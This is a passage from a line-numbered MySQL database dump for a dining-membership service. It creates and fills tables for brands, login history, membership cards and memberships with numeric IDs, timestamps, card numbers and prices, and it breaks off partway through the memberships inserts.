265CREATE TABLE `brands` (
266 `id` int(11) unsigned NOT NULL AUTO_INCREMENT,
267 `name` varchar(255) NOT NULL,
268 PRIMARY KEY (`id`)
269) ENGINE=InnoDB DEFAULT CHARSET=utf8;
270
271LOCK TABLES `brands` WRITE;
272/*!40000 ALTER TABLE `brands` DISABLE KEYS */;
273
274INSERT INTO `brands` (`id`, `name`)
275VALUES
276 (1,'Hi-Life'),
277 (2,'tastecard'),
278 (3,'Gourmet Society');
279
280/*!40000 ALTER TABLE `brands` ENABLE KEYS */;
281UNLOCK TABLES;
282
283
284# Dump of table login_history
285# ------------------------------------------------------------
286
287DROP TABLE IF EXISTS `login_history`;
288
289CREATE TABLE `login_history` (
290 `id` int(11) unsigned NOT NULL AUTO_INCREMENT,
291 `user_id` int(11) NOT NULL,
292 `login_date` datetime NOT NULL,
293 `successful` int(1) NOT NULL,
294 `remote_address` int(11) NOT NULL,
295 PRIMARY KEY (`id`)
296) ENGINE=InnoDB DEFAULT CHARSET=utf8;
297
298LOCK TABLES `login_history` WRITE;
299/*!40000 ALTER TABLE `login_history` DISABLE KEYS */;
300
301INSERT INTO `login_history` (`id`, `user_id`, `login_date`, `successful`, `remote_address`)
302VALUES
303 (1,121,'2017-06-13 12:23:37',1,0),
304 (2,13,'2017-06-13 12:25:01',1,0),
305 (3,122,'2017-06-14 10:28:51',1,0),
306 (4,123,'2017-06-15 10:41:06',1,0),
307 (5,122,'2017-06-15 15:51:33',1,0),
308 (6,124,'2017-06-19 08:39:17',1,0),
309 (7,120,'2017-06-19 10:24:11',0,0),
310 (8,120,'2017-06-19 10:25:29',0,0),
311 (9,120,'2017-06-19 10:25:31',0,0),
312 (10,120,'2017-06-19 10:25:45',0,0),
313 (11,120,'2017-06-19 10:26:30',0,0),
314 (12,120,'2017-06-19 10:28:15',0,0),
315 (13,120,'2017-06-19 10:29:20',0,0),
316 (14,120,'2017-06-19 10:31:54',0,0),
317 (15,120,'2017-06-19 10:32:05',0,0),
318 (16,120,'2017-06-19 10:32:08',0,0),
319 (17,120,'2017-06-19 10:34:41',0,0),
320 (18,120,'2017-06-19 10:34:50',0,0),
321 (19,120,'2017-06-19 10:37:31',0,0),
322 (20,120,'2017-06-19 10:40:01',0,0),
323 (21,120,'2017-06-19 10:40:02',0,0),
324 (22,120,'2017-06-19 10:40:02',0,0),
325 (23,120,'2017-06-19 10:40:06',0,0),
326 (24,120,'2017-06-19 10:42:16',0,0),
327 (25,120,'2017-06-19 10:42:20',0,0),
328 (26,120,'2017-06-19 10:42:25',0,0),
329 (27,120,'2017-06-19 10:44:07',0,0),
330 (28,120,'2017-06-19 10:44:10',0,0),
331 (29,120,'2017-06-19 10:44:14',0,0),
332 (30,120,'2017-06-19 10:44:16',0,0),
333 (31,120,'2017-06-19 10:44:20',0,0),
334 (32,120,'2017-06-19 10:44:21',0,0),
335 (33,120,'2017-06-19 10:44:25',0,0),
336 (34,120,'2017-06-19 10:44:26',0,0),
337 (35,120,'2017-06-19 10:44:26',0,0),
338 (36,120,'2017-06-19 10:44:30',0,0),
339 (37,120,'2017-06-19 10:44:30',0,0),
340 (38,120,'2017-06-19 10:46:21',0,0),
341 (39,120,'2017-06-19 10:46:22',0,0),
342 (40,120,'2017-06-19 10:46:50',0,0),
343 (41,120,'2017-06-19 10:47:00',0,0),
344 (42,120,'2017-06-19 10:47:03',0,0),
345 (43,120,'2017-06-19 10:48:55',0,0),
346 (44,120,'2017-06-19 10:49:01',0,0),
347 (45,120,'2017-06-19 10:49:08',0,0),
348 (46,120,'2017-06-19 10:49:14',0,0),
349 (47,120,'2017-06-19 10:51:08',0,0),
350 (48,120,'2017-06-19 10:51:52',0,0),
351 (49,120,'2017-06-19 10:52:19',0,0),
352 (50,120,'2017-06-19 10:52:20',0,0),
353 (51,120,'2017-06-19 10:53:35',0,0),
354 (52,120,'2017-06-19 10:53:40',0,0),
355 (53,120,'2017-06-19 10:53:52',0,0),
356 (54,120,'2017-06-19 10:54:52',0,0),
357 (55,120,'2017-06-19 10:55:01',0,0),
358 (56,120,'2017-06-19 10:55:04',0,0),
359 (57,120,'2017-06-19 10:55:05',0,0),
360 (58,120,'2017-06-19 10:55:06',0,0),
361 (59,120,'2017-06-19 10:58:41',0,0),
362 (60,120,'2017-06-19 10:59:32',0,0),
363 (61,120,'2017-06-19 10:59:51',0,0),
364 (62,120,'2017-06-19 10:59:55',0,0),
365 (63,120,'2017-06-19 11:01:03',0,0),
366 (64,120,'2017-06-19 11:01:39',0,0),
367 (65,120,'2017-06-19 11:01:53',0,0),
368 (66,120,'2017-06-19 11:02:49',0,0),
369 (67,120,'2017-06-19 11:03:53',0,0),
370 (68,120,'2017-06-19 11:04:41',0,0),
371 (69,120,'2017-06-19 11:04:52',0,0),
372 (70,120,'2017-06-19 11:06:17',0,0),
373 (71,120,'2017-06-19 11:06:22',0,0),
374 (72,120,'2017-06-19 11:06:26',0,0),
375 (73,120,'2017-06-19 11:06:29',0,0),
376 (74,120,'2017-06-19 11:06:38',0,0),
377 (75,120,'2017-06-19 11:08:25',0,0),
378 (76,120,'2017-06-19 11:09:02',0,0),
379 (77,120,'2017-06-19 11:09:02',0,0),
380 (78,120,'2017-06-19 11:09:27',0,0),
381 (79,120,'2017-06-19 11:10:56',0,0),
382 (80,120,'2017-06-19 11:11:06',0,0),
383 (81,120,'2017-06-19 11:11:10',0,0),
384 (82,120,'2017-06-19 11:11:12',0,0),
385 (83,120,'2017-06-19 11:12:04',0,0),
386 (84,120,'2017-06-19 11:12:12',0,0),
387 (85,120,'2017-06-19 11:26:20',0,0),
388 (86,120,'2017-06-19 11:26:26',0,0),
389 (87,120,'2017-06-19 11:47:23',0,0),
390 (88,120,'2017-06-19 11:54:44',0,0),
391 (89,120,'2017-06-19 13:03:01',0,0),
392 (90,125,'2017-06-19 15:06:39',1,0),
393 (91,126,'2017-06-19 15:10:18',1,0),
394 (92,122,'2017-06-19 15:28:39',1,0),
395 (93,124,'2017-06-20 08:13:35',0,0),
396 (94,124,'2017-06-20 08:14:08',0,0),
397 (95,127,'2017-06-20 13:46:47',1,0),
398 (96,124,'2017-06-20 13:49:27',0,0),
399 (97,124,'2017-06-20 14:23:58',0,0),
400 (98,128,'2017-06-20 14:24:34',1,0),
401 (99,129,'2017-06-20 16:04:22',1,0),
402 (100,128,'2017-06-21 09:04:14',1,0);
403
404/*!40000 ALTER TABLE `login_history` ENABLE KEYS */;
405UNLOCK TABLES;
406
407
408# Dump of table membership_cards
409# ------------------------------------------------------------
410
411DROP TABLE IF EXISTS `membership_cards`;
412
413CREATE TABLE `membership_cards` (
414 `id` int(11) unsigned NOT NULL AUTO_INCREMENT,
415 `membership_id` int(11) unsigned NOT NULL,
416 `card_number` bigint(20) unsigned NOT NULL,
417 `digital` tinyint(3) unsigned NOT NULL,
418 `active` tinyint(3) unsigned NOT NULL DEFAULT '1',
419 `created_at` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
420 `updated_at` timestamp NULL DEFAULT NULL,
421 PRIMARY KEY (`id`),
422 UNIQUE KEY `idx_card_number` (`card_number`),
423 KEY `membership_id` (`membership_id`),
424 CONSTRAINT `membership_cards_ibfk_1` FOREIGN KEY (`membership_id`) REFERENCES `memberships` (`id`) ON DELETE NO ACTION ON UPDATE NO ACTION
425) ENGINE=InnoDB DEFAULT CHARSET=utf8;
426
427LOCK TABLES `membership_cards` WRITE;
428/*!40000 ALTER TABLE `membership_cards` DISABLE KEYS */;
429
430INSERT INTO `membership_cards` (`id`, `membership_id`, `card_number`, `digital`, `active`, `created_at`, `updated_at`)
431VALUES
432 (1,3,1000006,1,1,'2017-06-19 15:21:25',NULL),
433 (2,4,1000080,1,1,'2017-06-19 15:21:25',NULL),
434 (3,5,1000383,1,1,'2017-06-19 15:21:25',NULL),
435 (4,6,1000069,1,1,'2017-06-19 15:21:25',NULL),
436 (5,7,1000400,1,1,'2017-06-19 15:21:25',NULL),
437 (6,8,1000191,1,1,'2017-06-19 15:21:25',NULL),
438 (7,9,1000155,1,1,'2017-06-19 15:21:25',NULL),
439 (8,10,1000202,1,1,'2017-06-19 15:21:25',NULL),
440 (9,11,1000147,1,1,'2017-06-19 15:21:25',NULL),
441 (10,12,1000128,1,1,'2017-06-19 15:21:25',NULL),
442 (11,13,1000198,1,1,'2017-06-19 15:21:25',NULL),
443 (12,14,1000206,1,1,'2017-06-19 15:21:25',NULL),
444 (13,15,1000035,1,1,'2017-06-19 15:21:25',NULL),
445 (14,16,1000362,1,1,'2017-06-19 15:21:25',NULL),
446 (15,17,1000099,1,1,'2017-06-19 15:21:25',NULL),
447 (16,18,1000214,1,1,'2017-06-19 15:21:25',NULL),
448 (17,19,1000372,1,1,'2017-06-19 15:21:25',NULL),
449 (18,20,1000013,1,1,'2017-06-19 15:21:25',NULL),
450 (19,21,1000154,1,1,'2017-06-19 15:21:25',NULL),
451 (20,22,1000330,1,1,'2017-06-19 15:21:25',NULL),
452 (21,23,1000387,1,1,'2017-06-19 15:21:25',NULL),
453 (22,24,1000144,1,1,'2017-06-19 15:21:25',NULL),
454 (23,25,1000363,1,1,'2017-06-19 15:21:25',NULL),
455 (24,26,1000177,1,1,'2017-06-19 15:21:25',NULL),
456 (25,27,1000200,1,1,'2017-06-19 15:21:25',NULL),
457 (26,29,1000148,1,1,'2017-06-19 15:21:25',NULL),
458 (27,30,1000130,1,1,'2017-06-19 15:21:25',NULL),
459 (28,32,1000239,1,1,'2017-06-19 15:21:25',NULL),
460 (29,34,1000170,1,1,'2017-06-19 15:21:25',NULL),
461 (30,35,1000317,1,1,'2017-06-19 15:21:25',NULL),
462 (31,36,1000277,1,1,'2017-06-19 15:21:25',NULL),
463 (32,37,1000030,1,1,'2017-06-19 15:21:25',NULL),
464 (33,38,1000122,1,1,'2017-06-19 15:21:25',NULL),
465 (34,39,1000121,1,1,'2017-06-19 15:21:25',NULL),
466 (35,40,1000241,1,1,'2017-06-19 15:21:25',NULL),
467 (36,41,1000038,1,1,'2017-06-19 15:21:25',NULL),
468 (37,42,1000270,1,1,'2017-06-19 15:21:25',NULL),
469 (38,43,1000034,1,1,'2017-06-19 15:21:25',NULL),
470 (39,44,1000162,1,1,'2017-06-19 15:21:25',NULL),
471 (40,45,1000308,1,1,'2017-06-19 15:21:25',NULL),
472 (41,46,1000253,1,1,'2017-06-19 15:21:25',NULL),
473 (42,47,1000340,1,1,'2017-06-19 15:21:25',NULL),
474 (43,48,1000139,1,1,'2017-06-19 15:21:25',NULL),
475 (44,49,1000079,1,1,'2017-06-19 15:21:25',NULL),
476 (45,50,1000379,1,1,'2017-06-19 15:21:25',NULL),
477 (46,51,1000054,1,1,'2017-06-19 15:21:25',NULL),
478 (47,52,1000337,1,1,'2017-06-19 15:21:25',NULL),
479 (48,53,1000319,1,1,'2017-06-19 15:21:25',NULL),
480 (49,54,1000184,1,1,'2017-06-19 15:21:25',NULL),
481 (50,55,1000365,1,1,'2017-06-19 15:21:25',NULL),
482 (51,56,1000068,1,1,'2017-06-19 15:21:25',NULL),
483 (52,57,1000051,1,1,'2017-06-19 15:21:25',NULL),
484 (53,58,1000049,1,1,'2017-06-19 15:21:25',NULL),
485 (54,59,1000092,1,1,'2017-06-19 15:21:25',NULL),
486 (55,60,1000316,1,1,'2017-06-19 15:21:25',NULL),
487 (56,61,1000100,1,1,'2017-06-19 15:21:25',NULL),
488 (57,62,1000354,1,1,'2017-06-19 15:21:25',NULL),
489 (58,63,1000267,1,1,'2017-06-19 15:21:25',NULL),
490 (59,64,1000274,1,1,'2017-06-19 15:21:25',NULL),
491 (60,65,1000168,1,1,'2017-06-19 15:21:25',NULL),
492 (61,66,1000018,1,1,'2017-06-19 15:21:25',NULL),
493 (62,67,1000388,1,1,'2017-06-19 15:21:25',NULL),
494 (63,68,1000285,1,1,'2017-06-19 15:21:25',NULL),
495 (64,69,1000260,1,1,'2017-06-19 15:21:25',NULL),
496 (65,70,1000045,1,1,'2017-06-19 15:21:25',NULL),
497 (66,71,1000249,1,1,'2017-06-19 15:21:25',NULL),
498 (67,72,1000307,1,1,'2017-06-19 15:21:25',NULL),
499 (68,74,1000219,1,1,'2017-06-19 15:21:25',NULL),
500 (69,75,1000332,1,1,'2017-06-19 15:21:25',NULL),
501 (70,77,1000012,1,1,'2017-06-19 15:21:25',NULL),
502 (71,78,1000257,1,1,'2017-06-19 15:21:25',NULL),
503 (72,79,1000048,1,1,'2017-06-19 15:21:25',NULL),
504 (73,80,1000271,1,1,'2017-06-19 15:21:25',NULL),
505 (74,81,1000010,1,1,'2017-06-19 15:21:25',NULL),
506 (75,82,1000037,1,1,'2017-06-19 15:21:25',NULL),
507 (76,83,1000156,1,1,'2017-06-19 15:21:25',NULL),
508 (77,84,1000268,1,1,'2017-06-19 15:21:25',NULL),
509 (78,85,1000072,1,1,'2017-06-19 15:21:25',NULL),
510 (79,86,1000356,1,1,'2017-06-19 15:21:25',NULL),
511 (80,88,1000347,1,1,'2017-06-19 15:21:25',NULL),
512 (81,89,1000246,1,1,'2017-06-19 15:21:25',NULL),
513 (82,90,1000187,1,1,'2017-06-19 15:21:25',NULL),
514 (83,92,1000031,1,1,'2017-06-19 15:21:25',NULL),
515 (84,93,1000361,1,1,'2017-06-19 15:21:25',NULL),
516 (85,94,1000108,1,1,'2017-06-19 15:21:25',NULL),
517 (86,95,1000261,1,1,'2017-06-19 15:21:25',NULL),
518 (87,97,1000106,1,1,'2017-06-19 15:21:25',NULL),
519 (88,98,1000399,1,1,'2017-06-19 15:21:25',NULL),
520 (89,99,1000075,1,1,'2017-06-19 15:21:25',NULL),
521 (90,101,1000067,1,1,'2017-06-19 15:21:25',NULL),
522 (91,102,1000002,1,1,'2017-06-19 15:21:25',NULL),
523 (92,103,1000208,1,1,'2017-06-19 15:21:25',NULL),
524 (93,104,1000232,1,1,'2017-06-19 15:21:25',NULL),
525 (94,105,1000136,1,1,'2017-06-19 15:21:25',NULL),
526 (95,106,1000386,1,1,'2017-06-19 15:21:25',NULL),
527 (96,107,1000320,1,1,'2017-06-19 15:21:25',NULL),
528 (97,108,1000039,1,1,'2017-06-19 15:21:25',NULL),
529 (98,109,1000041,1,1,'2017-06-19 15:21:25',NULL),
530 (99,110,1000086,1,1,'2017-06-19 15:21:25',NULL),
531 (100,111,1000309,1,1,'2017-06-19 15:21:25',NULL),
532 (101,113,1000302,1,1,'2017-06-19 15:21:25',NULL),
533 (102,114,1000052,1,1,'2017-06-19 15:21:25',NULL),
534 (103,117,1000230,1,1,'2017-06-19 15:21:25',NULL),
535 (104,118,1000093,1,1,'2017-06-19 15:21:25',NULL),
536 (105,119,1000176,1,1,'2017-06-19 15:21:25',NULL),
537 (106,121,1000071,1,1,'2017-06-19 15:21:25',NULL),
538 (107,122,1000159,1,1,'2017-06-19 15:21:25',NULL),
539 (108,123,1000179,1,1,'2017-06-19 15:21:25',NULL),
540 (109,1,1000113,1,1,'2017-06-19 15:21:25',NULL),
541 (110,2,1000392,1,1,'2017-06-19 15:21:25',NULL),
542 (128,130,1570740372523137,1,1,'2017-06-20 16:05:51',NULL);
543
544/*!40000 ALTER TABLE `membership_cards` ENABLE KEYS */;
545UNLOCK TABLES;
546
547
548# Dump of table memberships
549# ------------------------------------------------------------
550
551DROP TABLE IF EXISTS `memberships`;
552
553CREATE TABLE `memberships` (
554 `id` int(11) unsigned NOT NULL AUTO_INCREMENT,
555 `user_id` int(11) unsigned NOT NULL,
556 `purchase_id` int(11) unsigned NOT NULL,
557 `created_at` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
558 `updated_at` timestamp NULL DEFAULT NULL,
559 `start_date` datetime NOT NULL,
560 `termination_date` datetime NOT NULL,
561 `termination_reason` text,
562 `product_id` int(11) unsigned NOT NULL,
563 `price_net` int(11) NOT NULL,
564 PRIMARY KEY (`id`),
565 KEY `user_id` (`user_id`),
566 KEY `purchase_id` (`purchase_id`),
567 KEY `product_id` (`product_id`),
568 CONSTRAINT `memberships_ibfk_1` FOREIGN KEY (`user_id`) REFERENCES `users` (`id`) ON DELETE NO ACTION ON UPDATE NO ACTION,
569 CONSTRAINT `memberships_ibfk_2` FOREIGN KEY (`purchase_id`) REFERENCES `purchases` (`id`) ON DELETE NO ACTION ON UPDATE NO ACTION,
570 CONSTRAINT `memberships_ibfk_3` FOREIGN KEY (`product_id`) REFERENCES `products` (`id`) ON DELETE NO ACTION ON UPDATE NO ACTION
571) ENGINE=InnoDB DEFAULT CHARSET=utf8;
572
573LOCK TABLES `memberships` WRITE;
574/*!40000 ALTER TABLE `memberships` DISABLE KEYS */;
575
576INSERT INTO `memberships` (`id`, `user_id`, `purchase_id`, `created_at`, `updated_at`, `start_date`, `termination_date`, `termination_reason`, `product_id`, `price_net`)
577VALUES
578 (1,125,6,'2017-06-19 15:07:02',NULL,'2017-06-19 16:07:02','2018-07-19 16:07:02',NULL,1,2499),
579 (2,126,7,'2017-06-19 15:10:49',NULL,'2017-06-19 16:10:49','2018-07-19 16:10:49',NULL,1,2499),
580 (3,1,122,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
581 (4,2,46,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
582 (5,3,100,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
583 (6,4,35,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
584 (7,5,115,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
585 (8,7,114,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
586 (9,8,49,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
587 (10,9,36,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
588 (11,10,113,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
589 (12,11,124,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
590 (13,12,19,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
591 (14,13,3,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
592 (15,14,11,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
593 (16,15,125,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
594 (17,16,123,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
595 (18,17,59,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
596 (19,18,121,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
597 (20,19,118,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
598 (21,20,99,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
599 (22,21,26,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
600 (23,22,58,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
601 (24,23,57,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
602 (25,24,76,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
603 (26,25,117,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
604 (27,26,60,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
605 (28,27,65,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
606 (29,28,18,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
607 (30,29,92,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
608 (31,30,111,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
609 (32,31,85,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
610 (33,32,23,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
611 (34,33,42,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
612 (35,34,21,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
613 (36,35,37,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
614 (37,36,48,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
615 (38,37,82,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
616 (39,38,14,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
617 (40,39,38,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
618 (41,40,112,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
619 (42,41,97,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
620 (43,42,88,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
621 (44,43,50,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
622 (45,44,28,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
623 (46,45,79,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
624 (47,46,129,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
625 (48,47,87,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
626 (49,48,40,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
627 (50,49,74,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
628 (51,50,53,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
629 (52,51,39,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
630 (53,52,70,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
631 (54,53,83,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
632 (55,54,132,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
633 (56,55,106,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
634 (57,56,25,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
635 (58,57,73,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
636 (59,58,120,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
637 (60,59,66,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
638 (61,60,17,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
639 (62,61,107,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
640 (63,62,16,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
641 (64,63,32,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
642 (65,64,20,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
643 (66,65,110,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
644 (67,66,105,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
645 (68,67,102,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
646 (69,68,96,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
647 (70,69,101,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
648 (71,70,27,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
649 (72,71,31,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
650 (73,72,84,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
651 (74,73,55,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
652 (75,74,119,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
653 (76,75,116,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
654 (77,76,41,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
655 (78,77,33,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
656 (79,78,67,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
657 (80,79,44,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
658 (81,80,95,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
659 (82,81,30,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
660 (83,82,63,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
661 (84,83,78,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
662 (85,84,54,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
663 (86,85,75,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
664 (87,86,77,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
665 (88,87,98,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
666 (89,88,68,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
667 (90,89,51,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
668 (91,90,22,'2017-06-19 15:18:29','2017-06-19 15:18:29','2017-06-19 15:18:29','2018-07-19 16:10:49',NULL,1,2499),
